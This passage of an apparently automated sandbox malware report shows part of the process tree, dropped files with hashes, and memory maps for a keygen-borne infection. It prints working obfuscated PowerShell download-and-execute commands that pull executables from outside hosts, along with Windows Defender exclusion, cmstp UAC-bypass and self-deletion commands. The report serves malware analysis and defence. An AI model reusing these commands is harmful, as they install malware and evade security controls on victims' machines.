                        • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                          "C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
                          9⤵
                          • Executes dropped EXE
                          PID:4736
                    • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                      "C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
                      7⤵
                      • Executes dropped EXE
                      PID:4480
                    • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                      "C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
                      7⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Checks processor information in registry
                      PID:4488
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c taskkill /pid 4488 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\126540026734667\\* & exit
                        8⤵
                          PID:4288
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /pid 4488
                            9⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4860
                  • C:\Users\Public\tld.exe
                    "C:\Users\Public\tld.exe"
                    5⤵
                    • Executes dropped EXE
                    PID:992
            • C:\Windows\SysWOW64\mshta.exe
              "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\FE99.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3132
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4028
            • C:\Windows\SysWOW64\timeout.exe
              timeout 2
              2⤵
              • Delays execution with timeout.exe
              PID:3628
            • C:\Windows\SysWOW64\mshta.exe
              "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\FE99.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3816
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                3⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4016
                • C:\Users\Public\bxp.exe
                  "C:\Users\Public\bxp.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: MapViewOfSection
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:4956
                  • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                    "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: MapViewOfSection
                    • Suspicious use of SetWindowsHookEx
                    PID:4332
                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                      "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                      6⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Checks processor information in registry
                      PID:4524
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c taskkill /pid 4524 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\990125689476089\\* & exit
                        7⤵
                          PID:3584
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /pid 4524
                            8⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5056
                    • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                      "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: MapViewOfSection
                      • Suspicious use of SetWindowsHookEx
                      PID:4364
                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                        "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                        6⤵
                        • Executes dropped EXE
                        PID:4856
                    • C:\Users\Public\bxp.exe
                      "C:\Users\Public\bxp.exe"
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Drops desktop.ini file(s)
                      PID:2348
                      • C:\Users\Admin\AppData\Local\Temp\KHEnb6MjQz.exe
                        "C:\Users\Admin\AppData\Local\Temp\KHEnb6MjQz.exe"
                        6⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4964
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
                          "Powershell" Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp\KHEnb6MjQz.exe"'
                          7⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4920
                      • C:\Users\Admin\AppData\Local\Temp\Hwtqa6ERiI.exe
                        "C:\Users\Admin\AppData\Local\Temp\Hwtqa6ERiI.exe"
                        6⤵
                        • Executes dropped EXE
                        • Modifies system certificate store
                        PID:5016
                        • C:\Windows\SysWOW64\Notepad.exe
                          "C:\Windows\System32\Notepad.exe"
                          7⤵
                            PID:2664
                        • C:\Users\Admin\AppData\Local\Temp\zWyJNwmTbS.exe
                          "C:\Users\Admin\AppData\Local\Temp\zWyJNwmTbS.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of SetWindowsHookEx
                          PID:4592
                          • \??\c:\windows\SysWOW64\cmstp.exe
                            "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\denslsob.inf
                            7⤵
                              PID:5096
                          • C:\Users\Admin\AppData\Local\Temp\qZGdiDwow5.exe
                            "C:\Users\Admin\AppData\Local\Temp\qZGdiDwow5.exe"
                            6⤵
                            • Executes dropped EXE
                            • Windows security modification
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4916
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "powershell" Get-MpPreference -verbose
                              7⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:344
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\bxp.exe"
                            6⤵
                              PID:2188
                              • C:\Windows\SysWOW64\timeout.exe
                                timeout /T 10 /NOBREAK
                                7⤵
                                • Delays execution with timeout.exe
                                PID:4044
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\FE99.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3328
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                        3⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3548
                  • C:\Windows\SysWOW64\DllHost.exe
                    C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                    1⤵
                      PID:2168
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c start C:\Windows\temp\owgbvte5.exe
                        2⤵
                          PID:3848
                          • C:\Windows\temp\owgbvte5.exe
                            C:\Windows\temp\owgbvte5.exe
                            3⤵
                            • Executes dropped EXE
                            PID:3452
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "powershell" Get-MpPreference -verbose
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4064
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /IM cmstp.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4200

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\ProgramData\freebl3.dll

                      • C:\ProgramData\mozglue.dll

                      • C:\ProgramData\mozglue.dll

                      • C:\ProgramData\msvcp140.dll

                      • C:\ProgramData\msvcp140.dll

                      • C:\ProgramData\nss3.dll

                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • C:\ProgramData\nss3.dll

                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • C:\ProgramData\softokn3.dll

                      • C:\ProgramData\softokn3.dll

                      • C:\ProgramData\sqlite3.dll

                      • C:\ProgramData\sqlite3.dll

                      • C:\ProgramData\vcruntime140.dll

                      • C:\ProgramData\vcruntime140.dll

                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      • C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs

                      • C:\Users\Admin\AppData\Local\Temp\FE99.tmp\Keygen.exe

                      • C:\Users\Admin\AppData\Local\Temp\FE99.tmp\Keygen.exe

                      • C:\Users\Admin\AppData\Local\Temp\FE99.tmp\b.hta

                      • C:\Users\Admin\AppData\Local\Temp\FE99.tmp\b1.hta

                      • C:\Users\Admin\AppData\Local\Temp\FE99.tmp\ba.hta

                      • C:\Users\Admin\AppData\Local\Temp\FE99.tmp\ba1.hta

                      • C:\Users\Admin\AppData\Local\Temp\FE99.tmp\m.hta

                      • C:\Users\Admin\AppData\Local\Temp\FE99.tmp\m1.hta

                      • C:\Users\Admin\AppData\Local\Temp\FE99.tmp\start.bat

                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

                      • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

                      • C:\Users\Admin\AppData\Local\Temp\Hwtqa6ERiI.exe

                      • C:\Users\Admin\AppData\Local\Temp\Hwtqa6ERiI.exe

                      • C:\Users\Admin\AppData\Local\Temp\KHEnb6MjQz.exe

                      • C:\Users\Admin\AppData\Local\Temp\KHEnb6MjQz.exe

                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

                      • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

                      • C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs

                      • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

                      • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

                      • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

                      • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

                      • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

                      • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

                      • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

                      • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

                      • C:\Users\Admin\AppData\Local\Temp\qZGdiDwow5.exe

                      • C:\Users\Admin\AppData\Local\Temp\qZGdiDwow5.exe

                      • C:\Users\Admin\AppData\Local\Temp\zWyJNwmTbS.exe

                      • C:\Users\Admin\AppData\Local\Temp\zWyJNwmTbS.exe

                      • C:\Users\Public\bxp.exe

                      • C:\Users\Public\bxp.exe

                      • C:\Users\Public\bxp.exe

                      • C:\Users\Public\dlx.exe

                      • C:\Users\Public\dlx.exe

                      • C:\Users\Public\dlx.exe

                      • C:\Users\Public\tld.exe

                      • C:\Users\Public\tld.exe

                      • C:\Users\Public\tld.exe

                      • C:\Windows\Temp\owgbvte5.exe

                        MD5

                        f4b5c1ebf4966256f52c4c4ceae87fb1

                        SHA1

                        ca70ec96d1a65cb2a4cbf4db46042275dc75813b

                        SHA256

                        88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

                        SHA512

                        02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

                      • C:\Windows\temp\denslsob.inf

                      • C:\Windows\temp\owgbvte5.exe

                        MD5

                        f4b5c1ebf4966256f52c4c4ceae87fb1

                        SHA1

                        ca70ec96d1a65cb2a4cbf4db46042275dc75813b

                        SHA256

                        88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

                        SHA512

                        02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

                      • \ProgramData\mozglue.dll

                      • \ProgramData\mozglue.dll

                      • \ProgramData\mozglue.dll

                      • \ProgramData\nss3.dll

                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • \ProgramData\nss3.dll

                        MD5

                        bfac4e3c5908856ba17d41edcd455a51

                        SHA1

                        8eec7e888767aa9e4cca8ff246eb2aacb9170428

                        SHA256

                        e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                        SHA512

                        2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                      • \ProgramData\nss3.dll

                      • \ProgramData\sqlite3.dll

                      • \ProgramData\sqlite3.dll

                      • \ProgramData\sqlite3.dll

                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll

                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll

                        MD5

                        02cc7b8ee30056d5912de54f1bdfc219

                        SHA1

                        a6923da95705fb81e368ae48f93d28522ef552fb

                        SHA256

                        1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

                        SHA512

                        0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

                      • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll

                      • \Users\Admin\AppData\LocalLow\sqlite3.dll

                      • memory/344-371-0x00000000098E0000-0x00000000098E1000-memory.dmp

                        Filesize

                        4KB

                      • memory/344-364-0x0000000009430000-0x0000000009431000-memory.dmp

                        Filesize

                        4KB

                      • memory/344-350-0x00000000097B0000-0x00000000097E3000-memory.dmp

                        Filesize

                        204KB

                      • memory/344-345-0x0000000008700000-0x0000000008701000-memory.dmp

                        Filesize

                        4KB

                      • memory/344-341-0x0000000008050000-0x0000000008051000-memory.dmp

                        Filesize

                        4KB

                      • memory/344-335-0x0000000072130000-0x000000007281E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/344-334-0x0000000000000000-mapping.dmp

                      • memory/716-106-0x0000000008C70000-0x0000000008C71000-memory.dmp

                        Filesize

                        4KB

                      • memory/716-34-0x00000000709D0000-0x00000000710BE000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/716-109-0x000000000A060000-0x000000000A061000-memory.dmp

                        Filesize

                        4KB

                      • memory/716-73-0x0000000006F30000-0x0000000006F31000-memory.dmp

                        Filesize

                        4KB

                      • memory/716-67-0x0000000007860000-0x0000000007861000-memory.dmp

                        Filesize

                        4KB

                      • memory/716-17-0x0000000000000000-mapping.dmp

                      • memory/756-9-0x0000000000000000-mapping.dmp

                      • memory/992-220-0x0000000000400000-0x0000000000493000-memory.dmp

                        Filesize

                        588KB

                      • memory/992-223-0x0000000000400000-0x0000000000493000-memory.dmp

                        Filesize

                        588KB

                      • memory/992-221-0x000000000043FCC3-mapping.dmp

                      • memory/2016-242-0x0000000000000000-mapping.dmp

                      • memory/2180-0-0x0000000000000000-mapping.dmp

                      • memory/2188-307-0x0000000000000000-mapping.dmp

                      • memory/2348-172-0x0000000000400000-0x0000000000498000-memory.dmp

                        Filesize

                        608KB

                      • memory/2348-158-0x0000000000400000-0x0000000000498000-memory.dmp

                        Filesize

                        608KB

                      • memory/2348-163-0x000000000043FCC3-mapping.dmp

                      • memory/2664-407-0x0000000000C60000-0x0000000000C61000-memory.dmp

                        Filesize

                        4KB

                      • memory/2664-408-0x0000000000000000-mapping.dmp

                      • memory/2664-420-0x0000000000000000-mapping.dmp

                      • memory/2664-410-0x0000000000000000-mapping.dmp

                      • memory/2664-406-0x0000000000000000-mapping.dmp

                      • memory/2664-414-0x0000000000000000-mapping.dmp

                      • memory/2664-416-0x0000000000000000-mapping.dmp

                      • memory/2664-418-0x0000000000000000-mapping.dmp

                      • memory/2664-405-0x00000000009A0000-0x00000000009A1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2664-412-0x0000000000000000-mapping.dmp

                      • memory/2772-12-0x0000000000000000-mapping.dmp

                      • memory/2924-7-0x0000000000000000-mapping.dmp

                      • memory/3024-10-0x0000000000000000-mapping.dmp

                      • memory/3132-14-0x0000000000000000-mapping.dmp

                      • memory/3328-28-0x0000000000000000-mapping.dmp

                      • memory/3452-392-0x00000000006C0000-0x00000000006C1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3452-387-0x00007FF9F3D40000-0x00007FF9F472C000-memory.dmp

                        Filesize

                        9.9MB

                      • memory/3452-384-0x0000000000000000-mapping.dmp

                      • memory/3452-383-0x0000000000000000-mapping.dmp

                      • memory/3496-3-0x0000000000000000-mapping.dmp

                      • memory/3496-2-0x0000000000000000-mapping.dmp

                      • memory/3548-36-0x00000000709D0000-0x00000000710BE000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/3548-103-0x0000000009A40000-0x0000000009A41000-memory.dmp

                        Filesize

                        4KB

                      • memory/3548-35-0x0000000000000000-mapping.dmp

                      • memory/3584-233-0x0000000000000000-mapping.dmp

                      • memory/3628-15-0x0000000000000000-mapping.dmp

                      • memory/3656-61-0x0000000008190000-0x0000000008191000-memory.dmp

                        Filesize

                        4KB

                      • memory/3656-33-0x00000000709D0000-0x00000000710BE000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/3656-20-0x0000000000000000-mapping.dmp

                      • memory/3704-232-0x00000000728A0000-0x0000000072F8E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/3704-238-0x0000000002240000-0x0000000002241000-memory.dmp

                        Filesize

                        4KB

                      • memory/3704-229-0x0000000000000000-mapping.dmp

                      • memory/3704-234-0x00000000000A0000-0x00000000000A1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3704-240-0x000000000A500000-0x000000000A551000-memory.dmp

                        Filesize

                        324KB

                      • memory/3816-26-0x0000000000000000-mapping.dmp

                      • memory/3848-382-0x0000000000000000-mapping.dmp

                      • memory/4016-97-0x0000000007E50000-0x0000000007E51000-memory.dmp

                        Filesize

                        4KB

                      • memory/4016-32-0x00000000709D0000-0x00000000710BE000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/4016-55-0x0000000007350000-0x0000000007351000-memory.dmp

                        Filesize

                        4KB

                      • memory/4016-29-0x0000000000000000-mapping.dmp

                      • memory/4016-49-0x00000000072B0000-0x00000000072B1000-memory.dmp

                        Filesize

                        4KB

                      • memory/4028-18-0x0000000000000000-mapping.dmp

                      • memory/4028-30-0x00000000709D0000-0x00000000710BE000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/4028-44-0x0000000006FF0000-0x0000000006FF1000-memory.dmp

                        Filesize

                        4KB

                      • memory/4028-91-0x0000000009550000-0x0000000009551000-memory.dmp

                        Filesize

                        4KB

                      • memory/4028-85-0x00000000080C0000-0x00000000080C1000-memory.dmp

                        Filesize

                        4KB

                      • memory/4032-31-0x00000000709D0000-0x00000000710BE000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/4032-37-0x0000000004670000-0x0000000004671000-memory.dmp

                        Filesize

                        4KB

                      • memory/4032-19-0x0000000000000000-mapping.dmp

                      • memory/4032-79-0x0000000007F30000-0x0000000007F31000-memory.dmp

                        Filesize

                        4KB

                      • memory/4044-317-0x0000000000000000-mapping.dmp

                      • memory/4064-395-0x0000000000000000-mapping.dmp

                      • memory/4064-396-0x00007FF9F3D40000-0x00007FF9F472C000-memory.dmp

                        Filesize

                        9.9MB

                      • memory/4064-404-0x0000016ABCF50000-0x0000016ABCF51000-memory.dmp

                        Filesize

                        4KB

                      • memory/4064-403-0x0000016ABCAF0000-0x0000016ABCAF1000-memory.dmp

                        Filesize

                        4KB

                      • memory/4064-398-0x0000016ABCB20000-0x0000016ABCB21000-memory.dmp

                        Filesize

                        4KB

                      • memory/4064-397-0x0000016ABC970000-0x0000016ABC971000-memory.dmp

                        Filesize

                        4KB

                      • memory/4120-217-0x0000000000000000-mapping.dmp

                      • memory/4200-388-0x0000000000000000-mapping.dmp

                      • memory/4280-254-0x0000000000CF0000-0x0000000000CF1000-memory.dmp

                        Filesize

                        4KB

                      • memory/4280-251-0x0000000000000000-mapping.dmp

                      • memory/4280-269-0x0000000005740000-0x0000000005764000-memory.dmp

                        Filesize

                        144KB

                      • memory/4280-256-0x0000000002CE0000-0x0000000002CE1000-memory.dmp

                        Filesize

                        4KB

                      • memory/4280-253-0x0000000072920000-0x000000007300E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/4288-266-0x0000000000000000-mapping.dmp

                      • memory/4316-141-0x0000000000000000-mapping.dmp

                      • memory/4332-142-0x0000000000000000-mapping.dmp

                      • memory/4340-143-0x0000000000000000-mapping.dmp

                      • memory/4364-146-0x0000000000000000-mapping.dmp

                      • memory/4448-173-0x0000000000400000-0x0000000000425000-memory.dmp

                        Filesize

                        148KB

                      • memory/4448-162-0x0000000000400000-0x0000000000425000-memory.dmp

                        Filesize

                        148KB

                      • memory/4448-166-0x000000000041A684-mapping.dmp

                      • memory/4488-246-0x0000000000400000-0x0000000000434000-memory.dmp

                        Filesize

                        208KB

                      • memory/4488-249-0x0000000000400000-0x0000000000434000-memory.dmp

                        Filesize

                        208KB

